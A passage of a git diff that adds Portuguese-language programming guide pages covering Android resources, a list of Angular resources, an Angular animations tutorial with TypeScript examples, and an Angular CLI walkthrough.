+Confira os guias nesta pasta para aprender sobre os 4 [principais componentes](core-components/index.md) que compõem um aplicativo Android e como você pode começar com um aplicativo de amostra e, em seguida, investigue os tópicos mais avançados, como fragmentos e o sistema de criação Gradle. Em seguida, confira o guia de especificações de design de materiais e saiba como tornar seus aplicativos bonitos e fáceis de usar.
+
+### Configurando e Introdução ao Android Studio
+
+Vá para este [link](https://www.oracle.com/technetwork/java/javase/downloads/index.html) e instale o JDK mais recente. Agora faça o download do pacote de ferramentas do Android Studio e do SDK [aqui](https://developer.android.com/studio/) . Instale o Android Studio e o SDK após a configuração. Fique atento ao local do SDK. Se você encontrar algum erro, vá para as configurações mais tarde para resolvê-lo.
+
+Por fim, aprenda a integrar bibliotecas de terceiros e serviços do Firebase para adicionar funcionalidade ao seu aplicativo. Seria útil se você passar pela documentação oficial de cada componente.
+
+### Documentação Oficial
+
+[Guia para desenvolvedores do Google para Android](https://developer.android.com/training/index.html)
+
+#### Java vs. Kotlin
+
+Desde que o Google anunciou o Kotlin como a língua oficial para o desenvolvimento do Android no Google IO em 2017, os programadores que querem se tornar desenvolvedores do Android estão em um dilema. A grande questão na frente deles é se eles deveriam aprender Kotlin ou Java.
+
+##### Iniciantes no desenvolvimento Android deve começar com Java
+
+A primeira e principal coisa é que o desenvolvimento do Android não é tudo; Como programador, você pode começar sua carreira com o desenvolvimento do Android, mas se começar com uma linguagem bem estabelecida como o Java, você se torna parte da comunidade e do mercado Java, o que significa mais oportunidades de emprego.
+
+A segunda e mais importante é que existe uma enorme comunidade de programadores Java, o que significa que você pode encontrar respostas quando estiver preso. Isso é muito importante porque, como iniciante, você enfrentará muitos problemas técnicos e talvez não saiba aonde ir quando estiver preso. Quando você pesquisa o Google com um problema Java, você é obrigado a obter respostas; o mesmo não pode ser dito para o Kotlin, que ainda é uma nova linguagem de programação.
+
+###### Programadores Java devem aprender Kotlin
+
+Agora, voltando ao segundo conjunto de programadores que quer aprender o desenvolvimento do Android: nossos colegas desenvolvedores Java. Para eles, eu acho que é melhor aprender Kotlin porque realmente melhora a produtividade.
+
+Uma classe que leva 50 linhas de código em Java pode realmente ser escrita em apenas uma linha no Kotlin. Ele pode ajudá-lo a evitar todo o código da placa da caldeira, por exemplo, você não precisa especificar os métodos getters e setters, equals (), hashCode () ou toString (). Kotlin pode gerar tudo isso por si só.
+
+Se você não sabe, o Kotlin foi desenvolvido pela JetBrains, a empresa por trás de um dos mais populares IDEs Java, o IntelliJ IDEA. Eles eram uma loja Java e desenvolviam IDEs como IntelliJ IDEA, PyCharm e ReSharper, todos em Java, e construíram o Kotlin para melhorar sua produtividade, mas, ao mesmo tempo, não podem reescrever todo o código em Kotlin, por isso fizeram Kotlin totalmente interoperável com o Java.
+
+Como o Kotlin gera bytecode Java, você pode usar suas bibliotecas e frameworks Java favoritos no Kotlin e seus amigos em Java também podem usar qualquer estrutura Kotlin desenvolvida por você.
+
+### Prática
+
+[Codelabs para impulsionar habilidades](https://codelabs.developers.google.com)
+
+### Google Developer Console
+
+[Google Developer Console](https://developer.android.com/distribute/console/)
+
+### Cursos
+
+[Programa Udacity Android Nanodegree](https://udacity.com/course/android-developer-nanodegree-by-google--nd801)
+
+### Desenvolvendo Aplicativos Android
+
+A melhor parte do aprendizado do Android é que os cursos e materiais disponíveis online são gratuitos. O link para o curso está aqui - [Desenvolvendo aplicativos para Android](https://udacity.com/course/new-android-fundamentals--ud851) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/angular-resources/index.md b/client/src/guide/portuguese/angular/angular-resources/index.md
new file mode 100644
index 0000000000..8aad1ffd99
--- /dev/null
+++ b/client/src/guide/portuguese/angular/angular-resources/index.md
@@ -0,0 +1,44 @@
+---
+title: Angular Resources
+localeTitle: Recursos angulares
+---
+Uma coleção de recursos angulares úteis
+
+## Angular 1.x
+
+### Páginas gerais
+
+*   [Angular JS](https://angularjs.org/) - The Angular JS Homepage
+*   [AngularJS Style Guide](https://github.com/johnpapa/angular-styleguide/tree/master/a1) - Boas Práticas Detalhadas para o Desenvolvimento Angular
+
+### Vídeos
+
+*   [Roteamento no Angular JS](https://www.youtube.com/watch?v=5uhZCc0j9RY) - Roteamento do Cliente em 15 minutos
+*   [Angular ToDo App](https://www.youtube.com/watch?v=WuiHuZq_cg4) - Um aplicativo Angular ToDo em 12 minutos
+
+### Cursos
+
+*   [Cursos de Egghead.io AngularJS ($)](https://egghead.io/browse/frameworks/angularjs)
+
+## Angular 2.x +
+
+### Páginas gerais
+
+*   [Angular](https://angular.io/) - a página inicial angular
+*   [Guia de Estilo Angular](https://angular.io/guide/styleguide) - Melhores Práticas Detalhadas para o Desenvolvimento Angular
+
+### Páginas de tópicos específicos
+
+*   [Diretivas](http://www.sitepoint.com/practical-guide-angularjs-directives/) - Excelente guia em detalhes sobre diretivas angulares (parte 1)
+
+### Cursos
+
+*   [Cursos Angulares Egghead.io ($)](https://egghead.io/browse/frameworks/angular)
+*   [FrontendMasters - Criando Aplicativos Awesomer com Angular](https://frontendmasters.com/courses/building-apps-angular)
+*   [Angular final - lema de Todd](https://ultimateangular.com/)
+*   [Angular 6 (anteriormente Angular 2) - O Guia Completo ($) Maximilian Schwarzmüller](https://www.udemy.com/the-complete-guide-to-angular-2/)
+
+## Blogs
+
+*   [Alligator.io](https://alligator.io/angular/)
+*   [Angular em Profundidade](https://blog.angularindepth.com/tagged/angular)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/animations/index.md b/client/src/guide/portuguese/angular/animations/index.md
new file mode 100644
index 0000000000..6587281573
--- /dev/null
+++ b/client/src/guide/portuguese/angular/animations/index.md
@@ -0,0 +1,290 @@
+---
+title: Animations
+localeTitle: Animações
+---
+# Animações
+
+#### Motivação
+
+Os componentes da web modernos usam frequentemente animações. Folhas de estilo em cascata (CSS) armam os desenvolvedores com as ferramentas para criar animações impressionantes. Transições de propriedades, animações nomeadas com exclusividade, quadros-chave de várias partes são possíveis com CSS. As possibilidades animables são infinitas graças ao CSS.
+
+Em uma aplicação web moderna, a animação foca a atenção do usuário. Boas animações procuram orientar a atenção do usuário de maneira satisfatória e produtiva. Animações não devem ser irritantes para o usuário.
+
+Animações oferecem feedback na forma de movimento. Eles mostram ao usuário que o aplicativo está manipulando ativamente suas solicitações. Algo tão simples quanto um botão de pressão visível ou um carregador quando o aplicativo deve carregar chama a atenção do usuário.
+
+Animações continuam a crescer mais e mais relevantes no caso de Angular. O Google desenvolve o Angular enquanto promove a filosofia de Design de Materiais. Ele incentiva interfaces de usuário concisas (UI) complementadas com feedback animado do usuário. Faz com que os aplicativos da web se sintam um tanto vivos e divertidos de usar.
+
+A comunidade Angular desenvolve uma biblioteca central de widgets chamada [Material2](https://github.com/angular/material2) . Este projeto adiciona uma variedade de módulos de widgets ao Angular. A maioria deles apresenta animações. Para entender como eles funcionam, este artigo recomenda estudar as animações CSS antes de continuar lendo.
+
+Animações angulares é a versão simplificada do framework do que o CSS fornece nativamente. CSS é a tecnologia central para animações angulares que ocorrem no navegador da web. CSS está além do escopo deste artigo. É hora de enfrentar animações angulares de frente.
+
+#### Configurando animações
+
+Antes de animar, o `BrowserAnimationsModule` deve incluir na matriz de importações do módulo raiz. Está disponível em `@angular/platform-browser/animations` . Este NgModule garante que as animações funcionem para a plataforma em questão. Este artigo pressupõe o navegador da Web padrão para cada exemplo.
+
+As animações angulares são declaradas nos metadados do `@Component` . `@Component` decora uma classe para distingui-la como um componente para Angular. Seus metadados contêm configurações de componentes, incluindo o campo `animations: []` . Cada elemento da matriz deste campo representa um acionador de animação ( `AnimationTriggerMetadata` ).
+
+As animações são exclusivas de seu componente host por meio dos metadados do decorador. Animações só podem ser usadas no modelo do componente host. As animações não herdam os filhos do componente. Existe uma solução fácil para isso.
+
+Você sempre pode criar um arquivo separado que exporte uma matriz. Qualquer classe de componente pode importar essa matriz da parte superior de seu arquivo host. O token de matriz importado, em seguida, entra nos metadados de animações do componente. Repita este processo para quaisquer outros componentes que requeiram o mesmo array em seus metadados de animações.
+
+A projeção de conteúdo permite aplicar animações ao conteúdo DOM do componente A (Document Object Model). Componente B que envolve este conteúdo O DOM pode projetar o conteúdo em seu próprio modelo. Quando isso acontece, as animações do componente A não negam. O componente B incorpora as animações de A através da projeção de conteúdo.
+
+ESTÁ BEM. Você sabe como configurar animações e onde declará-las. Implementação é o próximo passo.
+
+#### Métodos de Animação
+
+As animações angulares usam uma série de chamadas de método importáveis ​​de `@angular/animations` . Cada elemento da matriz de animações `@Component` começa como um único método. Seus argumentos são desvendados como uma sequência de chamadas de método de ordem superior. A lista a seguir mostra alguns dos métodos usados ​​para criar animações angulares.
+
+*   `trigger(selector: string, AnimationMetadata[])`
+
+retorna `AnimationTriggerMetadata`
+
+*   `state(data: string, AnimationStyleMetadata, options?: object)`
+
+retorna `AnimationStateMetadata`
+
+*   `style(CSSKeyValues: object)`
+
+retorna `AnimationStyleMetadata`
+
+*   `animate(timing: string|number, AnimationStyleMetadata|KeyframesMetadata)`
+
+retorna `AnimationAnimateMetadata`
+
+*   `transition(stateChange: string, AnimationMetadata|AnimationMetadata[], options?: object)`
+
+retorna `AnimationTransitionMetadata`
+
+Embora existam certamente [mais métodos](https://angular.io/api/animations) para escolher, esses cinco métodos lidam com o básico. Tentar entender esses métodos básicos como uma lista não ajuda muito. Explicações bullet-by-bullet seguidas de um exemplo farão mais sentido.
+
+##### gatilho (seletor: string, AnimationMetadata \[\])
+
+O método `trigger(...)` encapsula um único elemento de animação dentro do array de animações.
+
+O primeiro `selector: string` argumento do método `selector: string` corresponde ao atributo de membro `[@selector]` . Ele age como uma diretiva de atributo no modelo de componente. Essencialmente, conecta o elemento de animação ao modelo por meio de um seletor de atributos.
+
+O segundo argumento é um array contendo uma lista de métodos de animação aplicáveis. O `trigger(...)` mantém tudo em um único array.
+
+##### estado (data: string, AnimationStyleMetadata, opções ?: objeto)
+
+O método `state(...)` define o estado final da animação. Aplica uma lista de propriedades CSS ao elemento de destino depois que uma animação é concluída. Isso é para que o CSS do elemento animado corresponda à resolução da animação.
+
+O primeiro argumento corresponde ao valor dos dados ligados à ligação de animação. Ou seja, o valor ligado a `[@selector]` no modelo corresponde ao primeiro argumento de um `state(...)` . O valor dos dados determina o estado final. A mudança do valor determina os meios de animação (ver `transition(...)` ).
+
+O segundo argumento hospeda os estilos CSS que se aplicam a um elemento pós-animação. Os estilos são passados ​​invocando o `style(...)` e passando para o argumento os estilos desejados como um objeto.
+
+Uma lista de opções ocupa opcionalmente o terceiro argumento. As opções de `state(...)` padrão `state(...)` devem permanecer inalteradas, a menos que seja feito um raciocínio diferente.
+
+##### style (CSSKeyValues: object)
+
+Você pode ter notado `AnimationStyleMetadata` várias vezes na lista anterior. O componente `style(...)` retorna esse tipo exato de metadados. Onde quer que estilos CSS se apliquem, o método `style(...)` deve invocar. Um objeto contendo estilos CSS substitui seu argumento.
+
+Obviamente, os estilos animados em CSS são transferidos para o método de `style(...)` angular `style(...)` . Concedido, nada impossível para o CSS torna-se de repente possível com animações angulares.
+
+##### animate (timing: string | number, AnimationStyleMetadata | AnimationKeyframesMetadata)
+
+A função `animate(...)` aceita uma expressão de tempo como seu primeiro argumento. Esse argumento cronometra, estimula e / ou atrasa a animação do método. Este argumento aceita um número ou expressão de string. A formatação é explicada [aqui](https://angular.io/api/animations/animate#usage) .
+
+O segundo argumento do `animate(...)` é a propriedade CSS que garante a animação. Isso assume a forma do método `style(...)` que retorna `AnimationStyleMetadata` . Pense no `animate(...)` como o método que inicia a animação.
+
+Uma série de quadros-chave também pode se aplicar ao segundo argumento. Keyframes é uma opção mais avançada que este artigo explica mais tarde. Quadros-chave distinguem várias seções da animação.
+
+`animate(...)` pode não receber um segundo argumento. Nesse caso, o tempo de animação do método só se aplica ao CSS refletido nos métodos `state(...)` . Alterações de propriedade nos métodos do `state(...)` do gatilho `state(...)` serão animadas.
+
+##### transição (changExpr: string, AnimationMetadata | AnimationMetadata \[\], opções ?: objeto)
+
+`animate(...)` inicia uma animação enquanto `transition(...)` determina qual animação é iniciada.
+
+O primeiro argumento consiste em uma forma única de micro-sintaxe. Denota uma mudança no estado (ou mudança nos dados) ocorrendo. Os dados vinculados à ligação de animação do modelo ( `[selector]="value"` ) determinam essa expressão. A próxima seção intitulada “Animation State” explica esse conceito um pouco mais.
+
+O segundo argumento de `transition(...)` compreende `AnimationMetadata` (retornado pelo `animate(...)` ). O argumento aceita um array de `AnimationMetadata` ou uma única instância.
+
+O valor do primeiro argumento corresponde ao valor dos dados ligados no modelo ( `[selector]="value"` ). Se uma correspondência perfeita ocorrer, o argumento será avaliado com sucesso. O segundo argumento então inicia uma animação em resposta ao sucesso do primeiro.
+
+Uma lista de opções ocupa opcionalmente o terceiro argumento. As opções de `transition(...)` padrão `transition(...)` devem permanecer inalteradas, a menos que seja feito um raciocínio diferente.
+
+##### Exemplo de Animação
+
+```typescript
+import { Component, OnInit } from '@angular/core'; 
+ import { trigger, state, style, animate, transition } from '@angular/animations'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h3>Click the button to change its color!</h3> 
+  <button (click)="toggleIsCorrect()"     // event binding 
+    [@toggleClick]="isGreen">Toggle Me!</button>  // animation binding 
+    `, 
+    animations: [       // metadata array 
+      trigger('toggleClick', [     // trigger block 
+      state('true', style({      // final CSS following animation 
+        backgroundColor: 'green' 
+      })), 
+      state('false', style({ 
+        backgroundColor: 'red' 
+      })), 
+      transition('true => false', animate('1000ms linear')),  // animation timing 
+      transition('false => true', animate('1000ms linear')) 
+    ]) 
+  ]        // end of trigger block 
+ }) 
+ export class ExampleComponent { 
+  isGreen: string = 'true'; 
+ 
+  toggleIsCorrect() { 
+    this.isGreen = this.isGreen === 'true' ? 'false' : 'true'; // change in data-bound value 
+  } 
+ } 
+```
+
+O exemplo acima realiza uma troca de cores muito simples com cada clique de botão. Naturalmente, a cor transita rapidamente em um desvanecimento linear conforme `animate('1000ms linear')` . A animação é vinculada ao botão, correspondendo o primeiro argumento do `trigger(...)` à ligação de animação `[@toggleClick]` .
+
+A ligação liga-se ao valor de `isGreen` da classe de componentes. Esse valor determina a cor resultante, conforme definido pelos dois métodos `style(...)` dentro do bloco `trigger(...)` . A ligação de animação é unidirecional para que as alterações no `isGreen` na classe do componente notifiquem a ligação do modelo. Ou seja, a ligação de animação `[@toggleClick]` .
+
+O elemento de botão no modelo também tem um evento de `click` associado a ele. Clicar no botão faz com que `isGreen` alterne os valores. Isso altera os dados da classe do componente. A ligação de animação é capturada e invoca seu método `trigger(...)` . O `trigger(...)` está dentro da matriz de animações dos metadados do componente. Duas coisas ocorrem na invocação do gatilho.
+
+A primeira ocorrência diz respeito aos dois métodos de `state(...)` . O novo valor de `isGreen` corresponde a um primeiro argumento do método `state(...)` . Depois de corresponder, os estilos CSS de `style(...)` aplicam-se ao estado final do elemento host da ligação da animação. ʻO estado final entra em vigor após toda a animação.
+
+Agora, para a segunda ocorrência. A alteração de dados que chamou a ligação de animação é comparada entre os dois métodos de `transition(...)` . Um deles corresponde à mudança nos dados para o primeiro argumento. O primeiro clique no botão fez com que `isGreen` fosse de 'verdadeiro' para 'falso' ('verdadeiro => falso'). Isso significa que o primeiro método de `transition(...)` ativa seu segundo argumento.
+
+A função `animate(...)` correspondente ao método de `transition(...)` avaliado com sucesso é iniciado. Este método define a duração da cor animada e o ritmo do fade. A animação é executada e o botão fica vermelho.
+
+Este processo pode acontecer qualquer número de vezes após um clique de botão. O `backgroundColor` do botão alternará entre verde e vermelho em um desvanecimento linear.
+
+#### Estado de Animação
+
+A micro-sintaxe de `transition(...)` vale a pena ser tratada em detalhes. Angular determina animações e seu tempo, avaliando essa sintaxe. Existem as seguintes transições de estado. Eles modelam as alterações nos dados vinculados a uma ligação de animação.
+
+*   `'someValue' => 'anotherValue'`
+
+Um gatilho de animação em que os dados vinculados mudam de 'someValue' para 'anotherValue'.
+
+*   `'anotherValue' => 'someValue'`
+
+Um gatilho de animação em que os dados vinculados mudam de 'anotherValue' para 'someValue'.
+
+*   `'someValue' <=> 'anotherValue'`
+
+Os dados mudam de "someValue" para "anotherValue" ou vice-versa.
+
+Também existe `void` e `*` states. `void` indica que o componente está entrando ou saindo do DOM. Isso é perfeito para animações de entrada e saída.
+
+*   `'someValue' => void` : componente do host de dados ligados está _saindo_ do DOM
+    
+*   `void => 'someValue'` : o componente host dos dados ligados está _entrando_ no DOM
+    
+
+`*` denota um estado curinga. Os estados curinga podem interpretar para "qualquer estado". Isso inclui `void` além de qualquer outra alteração nos dados vinculados.
+
+#### Quadros-chave
+
+Este artigo abordou os fundamentos para animar aplicativos angulares. Técnicas avançadas de animação existem ao lado dessas noções básicas. Agrupar quadros-chave é uma dessas técnicas. É inspirado na regra CSS `@keyframes` . Se você já trabalhou com CSS `@keyframes` , já entende como os quadros-chave no Angular funcionam. Torna-se apenas uma questão de sintaxe
+
+O `keyframes(...)` método importa de `@angular/animations` . Ele passa para o segundo argumento do `animate(...)` vez do típico `AnimationStyleMetadata` . O método `keyframes(...)` aceita um argumento como uma matriz do `AnimationStyleMetadata` . Isso também pode ser chamado de uma matriz de métodos de `style(...)` .
+
+Cada quadro-chave da animação fica dentro da matriz de `keyframes(...)` - `keyframes(...)` . Esses elementos do quadro-chave são métodos `style(...)` que suportam a propriedade `offset` . `offset` indica um ponto na duração da animação onde as propriedades de estilo que acompanham devem ser aplicadas. Seu valor vai de 0 (início da animação) a 1 (final da animação).
+
+```typescript
+import { Component } from '@angular/core'; 
+ import { trigger, state, style, animate, transition, keyframes } from '@angular/animations'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  styles: [ 
+    `.ball { 
+      position: relative; 
+      background-color: black; 
+      border-radius: 50%; 
+      top: 200px; 
+      height: 25px; 
+      width: 25px; 
+    }` 
+  ], 
+  template: ` 
+  <h3>Arcing Ball Animation</h3> 
+  <button (click)="toggleBounce()">Arc the Ball!</button> 
+  <div [@animateArc]="arc" class="ball"></div> 
+  `, 
+  animations: [ 
+    trigger('animateArc', [ 
+      state('true', style({ 
+        left: '400px', 
+        top: '200px' 
+      })), 
+      state('false', style({ 
+        left: '0', 
+        top: '200px' 
+      })), 
+      transition('false => true', animate('1000ms linear', keyframes([ 
+        style({ left: '0',     top: '200px', offset: 0 }), 
+        style({ left: '200px', top: '100px', offset: 0.50 }), 
+        style({ left: '400px', top: '200px', offset: 1 }) 
+      ]))), 
+      transition('true => false', animate('1000ms linear', keyframes([ 
+        style({ left: '400px', top: '200px', offset: 0 }), 
+        style({ left: '200px', top: '100px', offset: 0.50 }), 
+        style({ left: '0',     top: '200px', offset: 1 }) 
+      ]))) 
+    ]) 
+  ] 
+ }) 
+ export class ExampleComponent { 
+  arc: string = 'false'; 
+ 
+  toggleBounce(){ 
+    this.arc = this.arc === 'false' ? 'true' : 'false'; 
+  } 
+ } 
+```
+
+A principal diferença do exemplo acima comparado com o outro exemplo é o segundo argumento do `animate(...)` . Agora ele contém um método `keyframes(...)` que hospeda uma matriz de quadros-chave de animação. Enquanto a animação em si também é diferente, a técnica para animar é semelhante.
+
+Clicar no botão faz com que o botão se mova pela tela. O arco se move de acordo com os elementos de matriz do método `keyframes(...)` (quadros-chave). No ponto médio da animação ( `offset: 0.50` ), a bola muda de trajetória. Ele desce até a altura original enquanto continua pela tela. Clicar no botão novamente inverte a animação.
+
+`left` e `top` são propriedades animables depois de definir `position: relative;` para o elemento. A propriedade `transform` pode executar animações baseadas em movimento semelhantes. `transform` é uma propriedade expansiva e totalmente animada.
+
+Qualquer número de quadros-chave pode existir entre o deslocamento 0 e 1. As sequências de animação complexas assumem a forma de quadros-chave. Eles são uma das muitas técnicas avançadas em animações angulares.
+
+### Animações Com Ligação De Host
+
+Você irá, sem dúvida, se deparar com a situação em que deseja anexar uma animação ao elemento HTML de um componente em si, em vez de um elemento no modelo do componente. Isso requer um pouco mais de esforço, pois você não pode simplesmente entrar no HTML modelo e anexar a animação lá. Em vez disso, você terá que importar o `HostBinding` e utilizá-lo.
+
+O código mínimo para este cenário é mostrado abaixo. Vou reutilizar a mesma condição de animação para o código acima para consistência e não mostro nenhum código de animação real, pois você pode encontrar facilmente o que está acima.
+
+```typescript
+import { Component, HostBinding } from '@angular/core'; 
+ 
+ @Component({ 
+ ... 
+ }) 
+ export class ExampleComponent { 
+  @HostBinding('@animateArc') get arcAnimation() { 
+    return this.arc; 
+  } 
+ } 
+```
+
+A idéia por trás da animação do componente host é praticamente a mesma que animar um elemento do modelo, com a única diferença sendo a falta de acesso ao elemento que você está animando. Você ainda terá que passar o nome da animação ( `@animateArc` ) ao declarar o `HostBinding` e ainda terá que retornar o estado atual da animação ( `this.arc` ). O nome da função não é importante, portanto, o `arcAnimation` poderia ter sido alterado para qualquer coisa, desde que não colida com nomes de propriedades existentes no componente, e funcionaria perfeitamente bem.
+
+#### Conclusão
+
+Isto cobre os fundamentos da animação com o Angular. Angular torna a criação de animações muito fácil usando o CLI Angular. Começar com sua primeira animação requer apenas uma única classe de componente. Lembre-se, o escopo de animações para o modelo do componente. Exporte seu array de transições de um arquivo separado se você planeja usá-lo em vários componentes.
+
+Todo utilitário / método de animação exporta de `@angular/animations` . Todos eles trabalham juntos para fornecer um sistema robusto de animação inspirado no CSS. Existem mais métodos além do que este artigo poderia cobrir.
+
+Agora que você conhece o básico, sinta-se à vontade para explorar os links abaixo para mais informações sobre animações Angulares.
+
+## Fontes
+
+*   [Equipa Angular "Animações". _Google_ . Acessado em 7 de junho de 2018.](https://angular.io/guide/animations)
+*   [Equipa Angular "Pacote de animações". _Google_ . Acessado em 7 de junho de 2018.](https://angular.io/api/animations)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide)
+*   [Tutorial de animações angulares](https://angular.io/guide/animations)
+*   [API de animações angulares](https://angular.io/api/animations)
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+*   [CLI Angular](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/command-line-interface/index.md b/client/src/guide/portuguese/angular/command-line-interface/index.md
new file mode 100644
index 0000000000..7a59801c70
--- /dev/null
+++ b/client/src/guide/portuguese/angular/command-line-interface/index.md
@@ -0,0 +1,130 @@
+---
+title: Command-line Interface
+localeTitle: Interface da Linha de comando
+---
+## Interface da Linha de comando
+
+#### Motivação
+
+Angular está intimamente associado à sua interface de linha de comando (CLI). O CLI simplifica a geração do sistema de arquivos Angular. Ele lida com a maioria da configuração nos bastidores para que os desenvolvedores possam começar a codificação. A CLI também tem uma curva de aprendizado baixa, recomendável para qualquer novato que queira pular para a direita. Heck, até mesmo desenvolvedores experientes da Angular confiam na CLI!
+
+#### Instalação
+
+A CLI Angular requer o [Node.js e o Node Packet Manager (NPM)](https://nodejs.org/en/) . Você pode verificar esses programas com o comando terminal: `node -v; npm -v` . Uma vez instalado, abra um terminal e instale o CLI Angular com este comando: `npm install -g @angular/cli` . Isso pode ser executado em qualquer lugar no seu sistema. A CLI é configurada para uso global com o sinalizador `-g` .
+
+Verifique se o CLI está lá com o comando: `ng -v` . Isso gera várias linhas de informação. Uma dessas linhas indica a versão da CLI instalada.
+
+Reconheça que `ng` é o bloco de construção básico da CLI. Todos os seus comandos começarão com `ng` . Hora de dar uma olhada em quatro dos comandos mais comuns prefixados com `ng` .
+
+#### Comandos Principais
+
+*   ng novo
+    
+*   ng servir
+    
+*   ng gerar
+    
+*   ng construir
+    
+*   ng update
+    
+
+Os termos-chave para cada um deles são bastante reveladores. Juntos, eles compõem o que você precisa para começar a trabalhar com o Angular. Claro, existem muitos mais. Todos os comandos são descritos na [documentação do GitHub da CLI 1](https://github.com/angular/angular-cli/wiki#additional-commands) . Você provavelmente descobrirá que os comandos listados acima cobrirão as bases necessárias.
+
+#### ng novo
+
+`ng new` cria um _novo_ sistema de arquivos Angular. Este é um processo surreal. Por favor, navegue para um local de arquivo desejável para a _nova_ geração de aplicativos. Digite este comando da seguinte maneira, substituindo `[name-of-app]` pelo que você quiser: `ng new [name-of-app]` .
+
+Um sistema de arquivos sob a pasta `[name-of-app]` deve aparecer. Sinta-se livre para explorar o que está dentro. Tente não fazer alterações ainda. Tudo o que você precisa para executar seu primeiro aplicativo Angular vem empacotado juntos nesse sistema de arquivos gerado.
+
+#### ng servir
+
+Para obter o aplicativo em execução, o comando `ng serve` deve ser executado na pasta `[name-of-app]` . Qualquer lugar dentro da pasta serve. A CLI Angular deve reconhecer que está dentro de um ambiente gerado com `ng new` . Ele será executado desde esta condição. Vá em frente e tente: `ng serve` .
+
+O aplicativo é executado na porta 4200 por padrão. Você pode visualizar o aplicativo Angular navegando para `localhost:4200` em qualquer navegador da web. Angular funciona em todos os navegadores. A menos que você esteja usando uma versão antiga do Internet Explorer, o aplicativo será exibido. Ele exibe o logotipo Angular oficial ao lado de uma lista de links úteis.
+
+Ok, o aplicativo é executado. Espero que funcione, mas você precisa saber o que está acontecendo sob o capô. Consulte novamente o sistema de arquivos `[name-of-app]` . Navegue pelo `[name-of-app] -> src -> app` . Aí reside os arquivos responsáveis ​​pelo que você viu no `localhost:4200` .
+
+#### ng gerar
+
+Os arquivos `.component` definem um componente Angular incluindo sua lógica ( `.ts` ), estilo ( `.css` ), layout ( `.html` ) e teste ( `.spec.ts` ). O `app.module.ts` se destaca particularmente. Juntos, esses dois grupos de arquivos trabalham juntos como `component` e `module` . O `component` e o `module` são dois exemplos separados de esquemas angulares. Os esquemas classificam os diferentes blocos de código _gerados_ por _finalidade_ `ng generate` .
+
+Para o propósito deste artigo, entenda que um `module` exporta e importa ativos para e de uma árvore de componentes subjacente. Um `component` preocupa com uma seção da interface do usuário. A lógica, o estilo, o layout e o teste dessa unidade permanecem encapsulados nos vários arquivos `.component` .
+
+Quanto ao `ng generate` , este comando pode gerar esqueletos para cada um dos [esquemas angulares](https://github.com/angular/angular-cli/wiki/generate#available-schematics) disponíveis [2](https://github.com/angular/angular-cli/wiki/generate#available-schematics) . Navegue para `[name-of-app -> src -> app]` . Tente gerar um novo `component` executando: `ng generate component [name-of-component]` . Substitua `[name-of-component]` pelo que você quiser. Um novo arquivo `[name-of-component]` será exibido junto com seus arquivos `component` necessários.
+
+Você pode ver que o `ng generate` agiliza o [código padrão](https://en.wikipedia.org/wiki/Boilerplate_code) do Angular. `ng generate` também liga as coisas. Os esquemas criados no contexto de um sistema de arquivos Angular conectam-se ao módulo raiz do sistema. Nesse caso, seria o arquivo `app.module.ts` dentro de `[name-of-app -> src -> app]` .
+
+#### ng construir
+
+Angular é uma ferramenta de front end. O CLI realiza suas operações em nome do front end. `ng serve` cuida da configuração do servidor de backend. Isso mantém o desenvolvimento inteiramente focado no front end. Dito isto, conectar seu próprio back-end ao aplicativo Angular também deve ser possível.
+
+`ng build` preenche essa necessidade. Antes de experimentá-lo dentro do sistema de arquivos. Navegue para `[name-of-app] -> angular.json` . Procure por esta única linha de código: `"outputPath": "dist/my-app"` .
+
+Essa linha de configuração determina onde o `ng build` despeja seus resultados. Os resultados sendo todo o aplicativo Angular compilado em uma pasta `dist/my-app` . Dentro dessa pasta, existe `index.html` . Todo o aplicativo Angular pode ser executado com `index.html` . Nenhum `ng serve` é necessário a partir daqui. Com este arquivo, você pode facilmente conectar seu back-end.
+
+Dê uma chance: `ng build` . Novamente, isso deve ser executado no sistema de arquivos Angular. Com base no valor-chave de `“outputPath:”` em `angular.json` . Um arquivo irá gerar onde o aplicativo original é totalmente compilado. Se você mantiver `“outputPath:”` o mesmo, o aplicativo compilado estará em: `[name-of-app] -> dist -> [name-of-app]` .
+
+#### ng update
+
+Na atualização de cliques angulares, faça a atualização automática em todos os pacotes angulares e npm para as versões mais recentes.
+
+Aqui está a sintaxe e as opções podem ser usadas com `ng update` .
+
+`ng update [package]`
+
+**Opções**
+
+*   funcionamento a seco `--dry-run (alias: -d)`
+    
+    Percorra sem fazer alterações.
+    
+*   força `--force`
+    
+    Se for false, irá cometer erros se os pacotes instalados forem incompatíveis com a atualização.
+    
+*   todos `--all`
+    
+    Se deseja atualizar todos os pacotes em package.json.
+    
+*   Próximo `--next`
+    
+    Use a versão maior, incluindo beta e RCs.
+    
+*   migrar apenas `--migrate-only`
+    
+    Apenas execute uma migração, não atualize a versão instalada.
+    
+*   a partir de `--from`
+    
+    Versão da qual migrar. Disponível apenas com um único pacote sendo atualizado e apenas na migração.
+    
+*   para `--to`
+    
+    Versão até a qual aplicar migrações. Disponível apenas com um único pacote sendo atualizado e somente em migrações. Requer de ser especificado. Padrão para a versão instalada detectada.
+    
+*   registro `--registry`
+    
+    O registro do NPM a ser usado.
+    
+
+#### Conclusão
+
+Esses comandos cumprem o básico. A CLI do Angular é uma conveniência incrível que acelera a geração, configuração e expansão de aplicativos. Ele faz tudo isso enquanto mantém a flexibilidade, permitindo que o desenvolvedor faça as alterações necessárias.
+
+Por favor, verifique os links no `localhost:4200` se você não tiver já. Não se esqueça de executar o `ng serve` antes de abri-lo. Com uma melhor compreensão do CLI, você está pronto para aprender mais sobre o que é gerado pelos seus comandos mais essenciais.
+
+### Fontes
+
+1.  [Google. “Angular / angular-cli / wiki # comandos adicionais.” GitHub.](https://github.com/angular/angular-cli/wiki#additional-commands)
+    
+2.  [Google. “Angular / angular-cli / wiki / gerar # esquemas disponíveis.” GitHub.](https://github.com/angular/angular-cli/wiki/generate#available-schematics)
+    
+
+### Recursos
+
+*   [Website do CLI Angular](https://cli.angular.io)
+    
+*   [LEIA-ME CLI Angular](https://github.com/angular/angular-cli#angular-cli)
+    
+*   [Documentação CLI Angular](https://github.com/angular/angular-cli/wiki)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/components/index.md b/client/src/guide/portuguese/angular/components/index.md
new file mode 100644
index 0000000000..42569feabf
